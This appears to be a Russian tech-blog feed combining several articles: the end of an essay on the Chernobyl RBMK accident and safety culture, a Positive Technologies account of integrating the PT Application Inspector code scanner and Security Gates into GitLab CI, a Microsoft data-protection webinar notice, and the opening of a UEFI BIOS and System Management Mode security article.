У реактора РБМК есть одна особенность, которая выражается в том, что он крайне нестабилен и сложен в управлении на низких уровнях мощности. Учитывая положительный паровой коэффициент реактивности, несовершенство конструкции управляющих стержней и образование, в качестве побочного продукта работы реактора, ксенона-135, поглощающего много нейтронов, мощность реактора упала менее чем до 100 МВт. Это привело к тому, что операторы начали убирать всё больше и больше управляющих стержней (включая стержни, имеющие отношение к автоматической системе управления) в попытке увеличить реактивность реактора. Это позволило реактивности медленно вырасти и дойти до уровней, близких к тем, которые требовались для проведения эксперимента.

Поток охлаждающей жидкости в ядре реактора был усилен для получения большего количества пара, но это понизило реактивность, поэтому два насоса были остановлены для того чтобы снова повысить реактивность реактора. В этой ситуации, когда практически все управляющие стержни были вынуты из реактора, и когда были отключены все системы безопасности, эксперимент свернули, несмотря на то что падение мощности, выдаваемой замедляемым генератором, привело к понижению давления воды, охлаждающей реактор. И, наконец, было принято решение воспользоваться системой аварийного отключения реактора, что привело бы к сравнительно быстрому вводу управляющих стержней в реактор для его остановки.

Стержни вытесняли воду из каналов, создавая пустоты, а графит на концах стержней способствовал повышению реактивности реактора. В результате роста реактивности в нижней части реактора теплоотдача реактора подскочила примерно до 30000 МВт (при номинальной теплоотдаче в 3000 МВт). Вода, охлаждающая реактор, немедленно закипела, циркониевая оболочка топливных стержней расплавилась, она прореагировала с паром, а в результате этой реакции выделился водород.

Первым взрывом (возможно, его причиной стал перегретый пар) сбросило крышку реактора и повредило крышу здания. Второй взрыв, который произошёл через несколько секунд (это, вероятно, взорвалась смесь водорода с кислородом), разрушил ядро реактора и прекратил цепную ядерную реакцию. Всё, что осталось от реактора 4, представляло собой разбросанные повсюду радиоактивные фрагменты ядра реактора и раскалённый кориум лаваподобная масса, состоящая из компонентов расплавленной активной зоны ядерного реактора, которая затекла в подвал здания реактора. Тем временем в ядре реактора загорелся графит, в воздух поднялся столб радиоактивного дыма, что и привело к тому, что в Швеции обнаружили следы радиационного заражения.

Конец эпохи РБМК


В наши дни всё ещё работают девять реакторов РБМК. Все они расположены в России. А три реактора, оставшиеся на Чернобыльской АЭС, были постепенно выведены из эксплуатации. Работающие реакторы РБМК усовершенствовали, учтя опыт катастрофы. А именно, речь идёт о следующих улучшениях:

  • Использование топлива с более высоким уровнем обогащения урана, что позволяет скомпенсировать наличие дополнительных управляющих стержней.
  • Использование большего количества поглотителей нейтронов для стабилизации реактора на низких уровнях мощности.
  • Ускорение работы системы аварийного отключения реактора (12 секунд вместо 18).
  • Ограничение доступа к органам управления реактором, отключающим системы безопасности.

Вот главные следствия этих изменений: значительно уменьшился положительный паровой коэффициент реактивности, реактором стало намного легче управлять на низких уровнях мощности, у операторов стало гораздо меньше возможностей для импровизаций.

Учитывая то, что реакторы типа РБМК и подобные им в наши дни совершенно не пользуются поддержкой общественности, в России будущее атомной электроэнергетики строится на реакторах типа ВВЭР. В частности, речь идёт о реакторе ВВЭР-1200, относящемуся к поколению 3+. В таких реакторах обычная вода используется для замедления нейтронов, для охлаждения реактора, а так же для поглощения нейтронов. Такие реакторы, при создании которых соблюдаются международные стандарты безопасности, заменят в будущие годы оставшиеся на российских атомных электростанциях реакторы РБМК.

Всё дело в культуре безопасности


Интересным противопоставлением идее о том, что реактор РБМК так опасен из-за положительного парового коэффициента реактивности, являются принципы, по которым построены реакторы CANDU (Canada Deuterium Uranium тяжеловодные водо-водяные ядерные реакторы производства Канады). Эти реакторы привлекают к себе так мало внимания, что обычные люди, не являющиеся гражданами Канады, обычно не знают о том, что в Канаде есть атомная промышленность, и о том, что Канада экспортирует эти реакторы во многие страны.

При этом в реакторах CANDU изначально использовался природный уран и они отличаются положительным паровым коэффициентом реактивности. Но, несмотря на это, активные и пассивные системы защиты таких реакторов способны предотвратить нечто вроде тех ошибок персонала, которые были совершены в Чернобыле, или что-то вроде частичного расплавления активной зоны реактора (при отрицательном паровом коэффициенте реактивности) при аварии на АЭС Три-Майл-Айленд. В последнем случае оператор взял на себя управление системой безопасности, в результате события развивались по сценарию, напоминающему неудачный эксперимент в Чернобыле.

Похожие причины лежат в основе аварии на АЭС Фукусима-1, которая произошла в 2011 году в Японии. Об этом говорится в отчёте Национального парламента Японии. Низкий уровень культуры безопасности и широкое распространение коррупции, доходящей до высших правительственных кругов, привело к тому, что системы безопасности электростанции не поддерживались в актуальном состоянии. АЭС не вполне соответствовала стандартам устойчивости к землетрясениям. Она не была модернизирована в соответствии с рекомендациями американской регулирующей организации.
Разлив смеси угольной золы и воды из отстойника (угольная электростанция в Кингстоне, аэрофотоснимок)

Но, даже учитывая вышесказанное, происшествия на атомных электростанциях чрезвычайно редки, благодаря чему атомная энергетика входит в число самых безопасных форм генерирования электроэнергии (с учётом количества выработанной энергии). Пожалуй, даже большее беспокойство, чем отдельные инциденты, вызывает то, что низкая культура безопасности характерна не только для атомной промышленности. Похожая ситуация наблюдается и во многих других сферах, о чём красноречиво говорят авария в Бхопале и другие крупные техногенные катастрофы. В США за расследование происшествий в сфере химической промышленности отвечает Совет по химической безопасности и расследованию угроз (Chemical Safety and Hazard Investigation Board, CSB).

CSB занимается, помимо подготовки официальных отчётов, съёмкой документальных фильмов, которые можно найти на его YouTube-канале. Авторы этих материалов стремятся донести до сознания читателей и зрителей тот факт, что культура безопасности это не что-то такое, что можно принимать как данность, или что-то такое, на что можно вообще не обращать внимания, не опасаясь каких-либо проблем. В США, несмотря на то, что режим там вовсе не тоталитарный, почему-то регулярно происходят промышленные катастрофы, которые убивают и калечат сотни человек.

Из отчётов CSB можно сделать вывод о том, что, хотя радиоактивные материалы и могут выглядеть довольно-таки страшными, не стоит недооценивать опасность чего-то, на первый взгляд, совершенно невинного, вроде древесных опилок или муки. И если хотя бы допускать существование опасных ситуаций это уже будет первым шагом к тому, что кто-то сможет назвать худшим рабочим днём в своей жизни. У этого правила нет исключений.

В безопасности нет такого понятия, как Я


Никому не хотелось бы быть тем самым членом команды, которому приходится указывать другим на очевидные огрехи в безопасности, связанные с конструкцией каких-то устройств или с выполнением каких-то процедур. И, точно так же, никого не прельстит перспектива быть стукачом, который закладывает своих коллег, нарушающих правила техники безопасности. Но, в то же время, один человек не в состоянии склонить целую компанию или страну к совершенствованию процедур обеспечения безопасности.

Для того чтобы создавать и внедрять правила безопасности, для того, чтобы им следовать, не нужно прилагать непомерных усилий. Но, если безопасности уделяется мало внимания, значит возникновение очередной катастрофы, которую легко можно было бы предотвратить, это лишь вопрос времени, в чём бы такая катастрофа ни выражалась. Правила безопасности нельзя назвать чем-то невероятно привлекательным или вызывающим всеобщее восхищение. Но часто они представляют собой именно ту границу, которая отделяет скучный рабочий день от дня, в который завод сравняло с землёй взрывом, унёсшим множество жизней, или от дня аварии, в результате которой смесь угольной золы с водой превратила всё вокруг в пустыню.

Мы должны помнить не только о Чернобыле, но и о Бхопале, и о других подобных катастрофах, которые забрали уже очень много жизней и продолжат их забирать до тех пор, пока мы, как общество, не сделаем культуру безопасности частью повседневной жизни в каждом уголке Земли.

Как вы оцениваете уровень культуры безопасности, сложившийся в той сфере, в которой вы работаете?


Подробнее..

DevSecOps. PT Application Inspector в разработке ПО блокировка релиза

13.05.2021 10:08:31 | Автор: admin
Изображение: ptsecurity.comИзображение: ptsecurity.com

Всем привет! Меня зовут Тимур Гильмуллин, я работаю в отделе технологий и процессов разработки Positive Technologies. Неформально нас называют DevOps-отделом, а наши ребята занимаются автоматизацией различных процессов и помогают программистам и тестировщикам работать с продуктовыми конвейерами.

В прошлой статье мы с коллегами рассказали, как наши инженеры внедряли анализатор защищенности кода PT Application Inspector в сборочные конвейеры продуктовых команд. Тогда мы предложили клиент-серверную архитектуру и методику внедрения анализатора в CI/CD-конвейер, чтобы максимально упростить работу инженерам по инфраструктуре и CI-инженерам. Если перед вашими инженерами стоит задача внедрения сканера PT Application Inspector обязательно прочитайте прошлую статью.

А из этой статьи вы узнаете:

  • как организованы DevSecOps-процессы в нашей компании, как построена архитектура размещения сканера PT Application Inspector в CI-конвейере и как изменилась схема типовой сборки при добавлении сканирования;

  • что такое Security Gates, как группировать уязвимости по степени важности и как при помощи шаблонов сканирования настроить блокирование мердж-реквестов в GitLab;

  • как программисты работают со сборочным конвейером, как патчат найденные уязвимости и что поменялось для них в процессе разработки после внедрения сканирования кода в сборки.

Процессы DevSecOps в Positive Technologies

Начну с небольшого обзора концепции DevSecOps на примере схемы типового CI/CD-процесса в нашей компании. Так будет проще понять, какое место занимает сканер PT Application Inspector в этом процессе.

DevSecOps-конвейер в Positive Technologies: безопасный цикличный процесс разработки, сборки, развертывания, тестирования, продвижения, публикации, установки обновлений, сбора телеметрии и мониторингаDevSecOps-конвейер в Positive Technologies: безопасный цикличный процесс разработки, сборки, развертывания, тестирования, продвижения, публикации, установки обновлений, сбора телеметрии и мониторинга

Общие CI/CD-шаги для всех продуктов остаются неизменными. Разработчик пишет код фичи или исправляет найденные ошибки (Developing), делает git-коммит, после чего запускается автоматическая сборка в GitLab CI (Unit-Testing + Building). Далее происходит автоматическое развертывание на тестовые серверы (Deploying) и выполняются функциональное и прочие виды автотестирования (Functional Testing). Затем сборка продвигается в релизный репозиторий на Artifactory (Promoting), после чего компоненты и инсталляторы публикуются на корпоративный сервер обновлений GUS и происходит их автоматическое распространение через FLUS-серверы в интернете (Publishing GUS/FLUS). После этого на инфраструктуре заказчиков выполняется установка или обновление продукта (Installing/Updating). За установленным продуктом ведется наблюдение и сбор метрик (Collecting telemetry), его сервисы мониторятся (Monitoring) и собирается обратная связь от пользователей (User's feedback). Затем процесс разработки повторяется.

На схеме выше я предлагаю рассматривать Security-процесс так же непрерывно, как и процессы разработки, развертывания, тестирования и доставки. Безопасность нужно обеспечивать соответствующими инструментами на каждом этапе производственного конвейера. В частности, все изменения в коде должны проверяться на наличие потенциальных уязвимостей и ошибок. Решение нашей компании, сканер PT Application Inspector, позволяет проводить анализ исполняемого кода как статический, так и динамический и интерактивный. Помимо этого продукта у нас в CI/CD-конвейере используются и другие решения, например система выявления инцидентов ИБ MaxPatrol.SIEM и межсетевой экран уровня веб-приложений PT Application Firewall.

Я хочу подчеркнуть, что концепцию DevSecOps, то есть непрерывный и безопасный процесс разработки, можно развивать в компании, только опираясь на инициативу и интерес самих разработчиков. Если руководство закупит какие-то инструменты и спустит их сверху вниз ничего не выйдет. Разработчики должны быть сами заинтересованы в инструменте, он должен им нравиться, а также быть удобен в использовании.

Как PT Application Inspector внедряли в Positive Technologies

Теперь расскажу, как внедрение сканера происходило у нас. Сначала появились заинтересованные программисты из разных команд, которые хотели автоматизировать проверку своего кода, а затем к ним подключились DevOps-инженеры, которым было интересно попробовать внедрить новый инструмент в сборки. Они провели эксперименты и сделали пилот на одном из проектов. В итоге это вылилось в инициативу по развитию направления DevSecOps внутри всего сборочного конвейера Positive Technologies.

В рамках этой инициативы нам было нужно разработать для DevSecOps-специалистов, CI-инженеров и в первую очередь для программистов компании методику использования PT Application Inspector в разработке ПО, а также определить метрики, которые критичны для сборочного процесса. Такая методика необходима для понимания того, как разработчики должны использовать сканер, на какие найденные уязвимости обращать внимание и как эти уязвимости должны влиять на выпуск релиза или даже блокировать его; как работать с ветками и мердж-реквестами, а также как DevSecOps-специалисты должны выстраивать инфраструктуру безопасной разработки и внедрять PT Application Inspector с нуля в производственные процессы.

Мы преследовали несколько внутренних целей:

  1. Внедрить SAST/DAST/IAST-решение в сборочный CI-конвейер всех продуктов, что позволит находить уязвимости в коде на ранних стадиях разработки (реализовать концепцию shift-left).

  2. Использовать анализатор защищенности для сертификации продуктов компании все сертифицирующие лаборатории требуют отчет по статическому анализу кода. До этого нам приходилось использовать сторонние продукты.

  3. Дать возможность команде продуктовой разработки PT Application Inspector обкатать свои решения на домашнем полигоне, выяснить потребности живых программистов основных пользователей сканера и CI-инженеров основных внедренцев продукта в сборочный конвейер, а также скорректировать планы разработки инструмента в зависимости от полученной обратной связи.

  4. Продолжить развитие направления DevSecOps внутри продуктового конвейера компании. PT Application Inspector относится к общей схеме DevSecOps, это один из удобных инструментов для CI/CD-конвейера. Мы хотели дать внутренним разработчикам в Positive Technologies действительно удобный инструмент, которым бы они сами хотели пользоваться, который упростил бы и облегчил их работу.

Архитектура PT Application Inspector в CI-конвейере

Сканер PT Application Inspector в CI-инфраструктуреСканер PT Application Inspector в CI-инфраструктуре

Легенда:

  • DevOps.BuildAgent сборочный агент

  • Docker.Linux.AISA.Latest/TAG все докер-образы клиента AISA, доступные по тегу

  • AI.Agent агент сканирования

  • AI.Server сервер PT Application Inspector

  • DevOps.GitLab хранилище кода

  • DevOps.GitLab-CI CI-система

  • DevOps.Artifactory хранилище артефактов сборок и сторонних компонентов

  • Docker.Registry хранилище докер-образов

  • Docker.Linux.AISA артефакт сборки клиента AISA (рабочий докер-образ с клиентом)

  • AI.Shell Agent клиент AISA, запущенный внутри докер-контейнера, работающий с API сервера PT Application Inspector

  • BuildAgent.Console системная консоль сборочного агента

  • WorkingDirectory рабочий каталог на сборочном сервере, где лежит исходный код, который будет отправлен на сканирование

Коротко напомню, какую мы выбрали архитектуру. Сервер и агенты сканирования PT Application Inspector размещены на отдельных виртуальных машинах. Запуск задания сканирования осуществляется в отдельных шагах на сборочных агентах GitLab CI. Исходный код из проекта на GitLab сначала выгружается на сборочный агент в рабочую директорию сборки, а затем передается для анализа через консольный клиент AISA на сервер и далее на агенты сканирования.

AISA это аббревиатура от Application Inspector Shell Agent. Этот клиент умеет работать с API сервера PT Application Inspector. AISA запускается в отдельном докер-контейнере, который является своеобразной оберткой для клиента.

Докер-образы с AISA собираются CI-конфигурациями, которые поддерживают CI-инженеры нашего DevOps-отдела. После сборки образы выкладываются в docker registry на Artifactory. Благодаря поставке докер-образами сборочная инфраструктура компании не зависит от разработки клиента AISA.

Мы определили основные шаги методики внедрения сканера в существующие CI-процессы. Вот они:

  1. Подготовка серверной части:

    установка и настройка сервера PT Application Inspector;

    установка и настройка агентов сканирования.

  2. Подготовка клиентской части:

    организация релизного CI-цикла для клиента AISA (поставка докер-образом).

  3. Подготовка проекта сканирования:

    на стороне сервера;

    через клиент AISA.

  4. Работа с CI-системами:

    шаблоны сканирования в GitLab CI;

    метараннеры TeamCity;

    прочие средства (работа с CLI AISA).

Чтобы внедрить PT Application Inspector по этой методике в конвейер одного продукта и поддерживать его работу, потребуются силы одного-двух CI-инженеров средней квалификации.

Сборочный процесс с использованием PT Application Inspector

Наши продукты многокомпонентные, есть в них и сторонние компоненты. Из компонентов, продвинутых по результатам тестов в релиз и допущенных на интеграцию, собирается бандл (инсталлятор) продукта. Процесс сборки любого продукта максимально шаблонизирован, а его типовые шаги выглядят, как показано на схеме. На одном из шагов в сборке код передается на анализ на сервер через консольный клиент AISA. Напомню, что мы рекомендовали встраивать анализ кода непосредственно в сборочные шаблоны, чтобы было проще тиражировать процесс.

Типовые шаги процесса продуктовой сборкиТиповые шаги процесса продуктовой сборки

Как изменился алгоритм типовой сборки с учетом новых шагов сканирования:

  1. Сборочный агент в момент старта сборки запрашивает исходный код проекта на GitLab.

  2. Исходный код проекта скачивается на сборочный агент.

  3. Запускается скрипт build-on-server, и начинают выполняться по порядку шаги сборки. Этот скрипт точка входа для разделения логики сборки и ее внедрения в CI-конвейер. Скрипт build-on-server пишут разработчики, так как знают логику компиляции своего продукта, а CI-инженеры вызывают его в шагах сборки в своей CI-системе.

  4. В параллельном с основной сборкой режиме запускается легковесный клиент AISA. Он использует конфигурационный файл с настройками сканирования.

  5. Код передается на сервер сканирования.

  6. Сервер распределяет код между агентами сканирования, на которых запускается процесс анализа.

  7. Выполняется сканирование кода проекта. Сканирование никак не мешает основному сборочному процессу, так как выполняется на отдельных серверах.

  8. Результаты анализа сохраняются в базе данных на сервере сканирования.

  9. AISA-клиент получает результаты сканирования со стороны сервера, и они становятся доступны в сборочном пайплайне.

  10. Выполняется проверка правил Security Gates. Результатом проверки является значение Code Quality Status это 0, если все условия правил выполняются, и 1, если одно или больше условий не выполняются.

  11. Если Code Quality Status равен 0, тогда считается, что пайплайны сборки и сканирования завершились успешно. При значении 1 сборка может быть остановлена, а в логи добавлены соответствующие записи о проблемах с безопасностью кода.

  12. Артефакт сборки публикуется в хранилище на Artifactory. К артефакту могут быть добавлены некоторые метки качества.

  13. Специальный бот публикует отчет по сканированию и результаты проверки правил Security Gates в пайплайне на GitLab CI и в мердж-реквесте GitLab. Команде разработки отправляется уведомление об успешной сборке, к которому прикладываются результаты сканирования.

Что мы улучшили в этом процессе:

  1. Раньше мы предлагали запускать сканирование на том же агенте, где идет сборка. Сейчас научились запускать сканирование в параллельном режиме, вынесли шаги отправки кода через AISA и шаги сканирования в отдельный пайплайн GitLab CI.

  2. Раньше приходилось запускать сканирование, ждать отчета по его результатам и лишь потом запускать сборку и публикацию артефакта либо отправлять код на сервер PT Application Inspector и через некоторое время, заранее неизвестное, возвращаться туда и смотреть результаты. Но сейчас появились штатные механизмы GitLab CI, и мы вынесли сканирование в так называемые downstream pipelines, или дочерние пайплайны. Теперь сканирование запускается всегда, на каждую сборку, параллельно самой сборке и не мешая ее ходу.

  3. Добавили бота, который оповещает письмом или в чат о завершении сканирования, умеет добавлять отчеты прямо в мердж-реквесты GitLab, но, самое главное, понимает формат отчета сканера и может блокировать мердж-реквест на основании заданных правил, так называемых Security Gates (по аналогии с Code Quality Gates от SonarQube).

  4. Разработчикам теперь доступно несколько вариантов работы с ветками в git. В зависимости от того, релизная это ветка или фича-ветка, можно использовать различные наборы правил блокировки мердж-реквеста либо только информировать о потенциальных уязвимостях.

Security Gates: правила и группировки

Итак, что мы предлагаем для обеспечения непрерывной безопасной разработки, что такое Security Gates и как они используются для блокировки мердж-реквестов в GitLab.

Security Gates это набор правил для проекта сканирования, которые указывают CI-системе, как группировать найденные уязвимости и как на них реагировать: блокировать сборку или мердж-реквест либо работать в режиме информирования.

В качестве дополнительной меры в сборочных конфигурациях можно настроить бан собранного артефакта в Artifactory переименовывать его с суффиксом -BANNED после сканирования, если будет найдено слишком много уязвимостей, не проходящих ограничения Security Gates.

Пример описания правил Security Gates в файле aisa-codequality.settings.yamlПример описания правил Security Gates в файле aisa-codequality.settings.yaml

Сами правила описываются в обычном yaml-файле, состоящем из двух разделов:

  • threats mapping отвечает за маппинг и соответствие терминологии критичности проблем кода самого GitLab (имена ключей) и терминологии критичности уязвимостей PT Application Inspector (значения ключей). Кроме того, для удобства работы в этом разделе можно сгруппировать уязвимости по типу. Например, сказать, чтобы GitLab сгруппировал уязвимости уровней Potential, Low, Medium от сканера и отображал их в группе проблем Info.

  • security gates в этой секции задается количество уязвимостей для каждой конкретной группы критичности. Если сканер найдет в коде указанное число или больше уязвимостей, то мердж-реквест или сборка будут заблокированы. Если задать значение ноль, проверка количества для соответствующей группы выполняться не будет. Если нули заданы для всех групп, то сканирование фактически будет вестись в режиме информирования.

Правила Security Gates в обоих разделах должны быть согласованы со специалистами по информационной безопасности в компании. На время разработки фич в отдельных ветках эти правила могут быть смягчены, чтобы не мешать быстрой разработке. Но в момент влития кода в релизные ветки обязательно должны использоваться максимально жесткие правила.

Пример портянки сообщений от SonarQube в треде мердж-реквеста GitLabПример портянки сообщений от SonarQube в треде мердж-реквеста GitLab

В качестве основы для интеграции сканера кода мы решили взять вариант интеграции известного продукта SonarQube через штатный механизм GitLab codequality. Мы посмотрели, как он внедряет свои сообщения в мердж-реквест, и спросили наших разработчиков, насколько им это удобно. Оказалось, что большинству такая портянка сообщений в треде мешает, особенно когда приходится работать с legacy-кодом, для которого замечаний бывает очень много. Кроме того, открывается страничка с сотнями сообщений небыстро.

Поэтому, когда мы работали над внедрением нашего сканера в сборочные процессы, то решили сразу позаботиться об удобстве программистов и сделать более удобное отображение рекомендаций по безопасности, в одном треде мердж-реквеста. Этот тред обновляется автоматически с помощью специального бота, написанного нашими CI-инженерами для интеграции AISA с GitLab CI.

Security Gates: проверки

Пример треда мердж-реквеста в GitLab, не заблокированного ботом, так как правила Security Gates выполняютсяПример треда мердж-реквеста в GitLab, не заблокированного ботом, так как правила Security Gates выполняются

Если уязвимости найдены, но проходят условия Security Gates, то в сборке специальный шаг Code Quality Status выставляется в значение 0 (Passed). В этом случае мердж-реквест не будет заблокирован, а в треде на GitLab программист увидит комментарий от бота с перечислением найденных (некритичных для данного набора правил) уязвимостей. Прямо в треде он сможет посмотреть, что это за уязвимости, либо перейти по ссылкам к полному HTML-отчету или в сборку на GitLab CI или TeamCity, если сборка была инициирована там.

Пример треда мердж-реквеста в GitLab, заблокированного ботом, так как нарушено правило Security Gates: major-проблем (Medium-уязвимостей от сканера) не более двухПример треда мердж-реквеста в GitLab, заблокированного ботом, так как нарушено правило Security Gates: major-проблем (Medium-уязвимостей от сканера) не более двух

Во втором случае, то есть если уязвимости найдены и не проходят условия Security Gates, значение Code Quality Status выставляется в 1 (Failed) и мердж-реквест блокируется путем добавления ключевого слова Draft в его заголовок.

В комментариях от бота, кроме всей прочей информации, указывается причина блокировки, то есть текущий набор правил Security Gates для ветки, где идет сборка.

При каждом сканировании бот обновляет один и тот же тред на страничке мердж-реквеста: все уязвимости удобно группируются и отображаются в одном месте.

Пример интеграции отчета от сканера в сборки на TeamCityПример интеграции отчета от сканера в сборки на TeamCity

В сборки на TeamCity сканирование кода добавляется аналогичным образом через скрипты-метараннеры, которые разработаны специально для использования с AISA-клиентом. HTML-отчет по сканированию возможно прикрепить штатными средствами TeamCity, разместив его на отдельной вкладке (Tab reports), которая настраивается внутри проекта с конфигурацией.

Самое главное, что из сборок на TeamCity можно точно так же пробросить информацию о найденных уязвимостях в мердж-реквесты в GitLab.

Теперь перейдем к тому, как работают правила Security Gates и как результат их проверки Code Quality Status блокирует выпуск наших релизов.

Security Gates: три режима работы

Мы спросили у наших разработчиков, какой бы они хотели видеть интеграцию сканера PT Application Inspector с их сборками. Их основное пожелание состояло в том, чтобы он не мешал оперативной разработке фич и не требовалось бы долгое ожидание скана и сборок. В идеале, чтобы сканирование вообще не мешало сборкам. Именно для этого мы решили запускать его в параллельном пайплайне на GitLab CI.

Наши CI-инженеры разработали три типа шаблонов сканирования, каждый для своего типа веток. В фича-ветках мы храним шаблоны, которые сканируют в режиме информирования. При влитии в мастер или релизные ветки мы используем на выбор шаблон с блокировкой или самый строгий шаблон.

Основные отличия в работе шаблонов сканированияОсновные отличия в работе шаблонов сканирования

Основные отличия шаблонов в их влиянии на сборку и в глубине интеграции сканирования со сборочным пайплайном. Например, самый строгий режим сканирования при непрохождении правил Security Gates одновременно блокирует и мердж-реквест, и сам сборочный пайплайн.

Все шаблоны кастомизируются, и при настройке сборочного процесса в специальном файле конфигурации .gitlab-ci.yml можно выбрать различные варианты работы со сканером.

Security Gates: Information mode

Схема пайплайна сборки со сканированием в режиме информированияСхема пайплайна сборки со сканированием в режиме информирования

Давайте посмотрим на шаги типового пайплайна сборки на GitLab CI, в которой использовался шаблон для работы сканера в информационном режиме (AI Information Mode).

Для примера, пусть сама сборка состоит из типовых шагов:

  • юнит-тестирование кода (Unit tests);

  • сборка или компиляция (Build);

  • публикация собранного артефакта сборки в некоторое хранилище (Upload to registry).

В GitLab CI в файл gitlab-ci.yml можно импортировать любые другие шаблоны через команду include. При подключении шаблона сканирования к основным шагам пайплайна сборки добавляются дополнительные:

  • запуск в параллельном режиме внешнего пайплайна сканирования (Start AI Scan);

  • отправка кода на сервер и запуск сканирования через AISA (AI-Scanning);

  • в случае любых проблем с инфраструктурой сканирования отправка информации об этом на мониторинг (Send info);

  • по окончании сканирования отправка отчета о найденных уязвимостях со сканирующего сервера в AISA и его добавление к пайплайну основной сборки (AI Scan Report);

  • проверка правил Security Gates, добавление результата проверки Code Quality Status (0, Passed / 1, Failed) к основному пайплайну;

  • отправка оповещения о результатах сканирования и сборки на почту или в чат (Send emails).

Важно отметить, что в информационном режиме сканирования результаты проверок не блокируют сборочный пайплайн и мердж-реквест.

Security Gates: Lock mode

Схема пайплайна сборки со сканированием в режиме блокирования мердж-реквестаСхема пайплайна сборки со сканированием в режиме блокирования мердж-реквеста

Следующая схема (AI Lock Mode) чуть более строгая. Она подключается к основной сборке аналогично, через включение (include) шаблона сканирования, и добавляет все те же самые шаги, что и в режиме информирования.

Основные отличия этой схемы от предыдущей в том, что в основной пайплайн сборки пробрасывается дополнительный статус: ожидание отчета по сканированию (running). Кроме того, в случае непрохождения правил Security Gates мердж-реквест GitLab в этой схеме может быть заблокирован. Основной сборочный процесс при этом не блокируется, и сборка может создавать и публиковать артефакты.

Security Gates: Strictest mode

Схема пайплайна со сканированием в режиме блокирования мердж-реквеста и самой сборкиСхема пайплайна со сканированием в режиме блокирования мердж-реквеста и самой сборки

И, наконец, третья схема (AI Strictest Mode) максимально строгая. Кроме шагов, описанных в предыдущих схемах, в дочерний пайплайн добавляется новый шаг, разрешающий или запрещающий публикацию сборочного артефакта (Approve build). Таким образом, если будут обнаружены уязвимости, не проходящие проверки Security Gates, то будут заблокированы и основной сборочный пайплайн, и мердж-реквест. Дополнительно мердж-реквест может быть переведен в статус черновика (Draft).

Далее расскажу, в каких случаях мы применяем разные шаблоны.

Работа с ветками git для разных режимов Security Gates

В разработке у нас используется классический git-flow для работы с ветками:

  • master ветка для стабильного кода;

  • develop ветка для основной разработки и стабилизации кода из влитых фича-веток;

  • feature в продуктовых командах работа идет параллельно над множеством фич во множестве таких веток;

  • release у наших продуктов может быть одновременно несколько поддерживаемых релизов, поэтому используется несколько релизных веток.

При запуске сборки или мердж-реквеста из конкретной ветки вызывается тот шаблон сканирования, который лежит в этой ветке. Приведу примеры режимов работы сканера, которые можно использовать при мердж-реквестах из различного типа веток.

Схема классического git-flow и рекомендуемые шаблоны для различных ветокСхема классического git-flow и рекомендуемые шаблоны для различных веток

Мы рекомендуем:

  • В feature-ветках хранить и использовать шаблон сканирования в информационном режиме (Information mode). Тогда при мердж-реквестах между feature-ветками и при влитии в ветку develop само сканирование никак не будет влиять на сборочный процесс и разработка будет идти быстро. Однако при этом разработчики все равно получают максимально подробные отчеты и рекомендации от сканера PT Application Inspector.

  • В develop-ветке хранить и использовать самый строгий шаблон (Strictest mode), а также настраивать в нем самые строгие правила Security Gates. В этой ветке важно стабилизировать код и избавиться от всех возможных уязвимостей перед его влитием в релизные ветки. Этот шаблон пресечет любые попытки мерджа уязвимого кода в релиз, заблокирует мердж-реквесты и сами сборочные пайплайны, не даст опубликовать артефакт с уязвимостью в хранилище.

  • В release-ветках допустимо хранить менее строгий шаблон (Lock mode) и использовать его при мердж-реквестах в master, так как большая часть уязвимостей уже будет закрыта на этапе стабилизации в develop.

  • В master-ветке можно использовать сканирование в информационном режиме (Information mode), так как в этой ветке лежит стабильный, протестированный и проверенный код релизов, а значит, можно минимизировать проверки.

Демонстрация: Security Gates и мердж-реквесты

В апреле 2021 г. мы провели вебинар для программистов и DevSecOps-инженеров. На нем мы показали, как шаблоны сканирования и правила Security Gates функционируют вживую, как наши программисты работают с реальными проектами, делают мердж-реквесты с поиском уязвимостей в коде через Application Inspector и как исправляют найденные ошибки.

Open Source dohq-ai-best-practices

Все наработки для GitLab CI и TeamCity, схемы и рабочие шаблоны сканирования для PT Application Inspector мы выложили в Open Source в проект dohq-ai-best-practices под свободной MIT-лицензией. Там вы найдете:

Что еще почитать по теме DevOps

По мере развития нашего CI мы делились идеями и наработками в корпоративном блоге на Хабре:

Если вас интересует тема кибербезопасности, следите за нашими вебинарами и новыми статьями в блоге компании. А на этом пока все. Ждем ваших вопросов в комментариях :)

Автор статьи: Тимур Гильмуллин заместитель руководителя отдела технологий и процессов разработки в Positive Technologies. Отвечал за разработку архитектуры и методики внедрения PT Application Inspector в сборочные техпроцессы со стороны DevOps-команды, а также подготовку проекта Open Source.

Технический эксперт: Дима Рагулин CI-инженер отдела технологий и процессов разработки. Отвечал за подготовку архитектуры и скриптов для интеграции PT Application Inspector с CI-системами и подготовку проекта Open Source.

Развивать идеи DevSecOps в большой компании невозможно без коллектива высококлассных специалистов. Выражаю огромную благодарность нашим коллегам: Стасу Антонову, Антону Володченко, Олегу Мачалову и Саше Худышкину за оперативную техническую помощь по вопросам внедрения, разработки и использования сканера PT Application Inspector, Вите Рыжкову и Алексею Жукову за экспертизу и помощь с подготовкой вебинаров, всем инженерам нашего отдела DevOps Positive Technologies за техническое сопровождение сервиса PT Application Inspector и помощь с его внедрением в компании, а также всем разработчикам сканера за прекрасный продукт :)

Подробнее..

Вебинар защита конфиденциальной информации и управление рисками, связанными с данными

14.05.2021 10:12:48 | Автор: admin
27-28 мая, на английском с субтитрам на русском27-28 мая, на английском с субтитрам на русском

Поскольку люди все чаще переходят на удаленную работу, защита информации вашей организации и управление рисками должны стать главным приоритетом. Виртуальный учебный день Microsoft Security: защита конфиденциальной информации и управление рисками данных научит вас пользоваться преимуществами технологий Microsoft, которые выявляют и устраняют риски, возникающие при создании, хранении, совместном использовании и использовании конфиденциальных данных.

Кроме того, вы узнаете, как защитить эти данные на протяжении всего их жизненного цикла - как локально, так и на разных устройствах, в приложениях и облачных сервисах. Присоединяйтесь к нам на это обучающее мероприятие, состоящее из двух частей, за которым следуют вопросы и ответы, которые обязательно оставят у вас уверенность в своей способности защитить самый ценный актив вашей организации: ее данные.

На этом мероприятии:

  • Поймите, идентифицируйте и защитите свои самые конфиденциальные данные.

  • Выявляйте инсайдерские риски и нарушения кодекса поведения и принимайте соответствующие меры.

  • Используйте защиту информации и управление.

Подробности и регистрация.

Подробнее..

System Management Mode From Zero to Hero

19.05.2021 08:16:04 | Автор: admin

Исследования в области безопасности UEFI BIOS уже не являются чем-то новомодным, но в последнее время чувствуется некоторый дефицит образовательных материалов по этой теме (особенно на русском языке). В этой статье мы постараемся пройти весь путь от нахождения уязвимости и до полной компрометации UEFI BIOS. От эксплуатации execute примитива до закрепления в прошивке UEFI BIOS.

